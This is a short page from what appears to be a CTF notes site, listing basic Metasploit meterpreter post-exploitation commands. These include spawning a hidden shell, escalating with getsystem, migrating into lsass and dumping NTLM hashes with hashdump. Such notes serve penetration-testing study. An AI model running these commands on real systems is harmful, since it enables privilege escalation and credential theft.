> For the complete documentation index, see [llms.txt](https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/metasploit/basic-usage.md).

# Basic Usage

### Common Commands

```bash
# meterpreter
meterpreter> help 

ls, cat, download, upload, search, getuid 

# Check your current user context 
meterpreter> getuid 

# Get a normal CMD prompt (shell) 
meterpreter > shell
meterpreter > execute -f cmd.exe -H -i

# Check your current privilege
meterpreter> getprivs

# Escalate to NT SYSTEM privilege
meterpreter > getsystem

# Migrate to specific process to escalaete
meterpreter> pgrep lsass
628 
meterpreter> migrate 628 

# Get NTLM hashes 
meterpreter > hashdump

# Move the meterpreter session background. 
meterpreter> background 
```
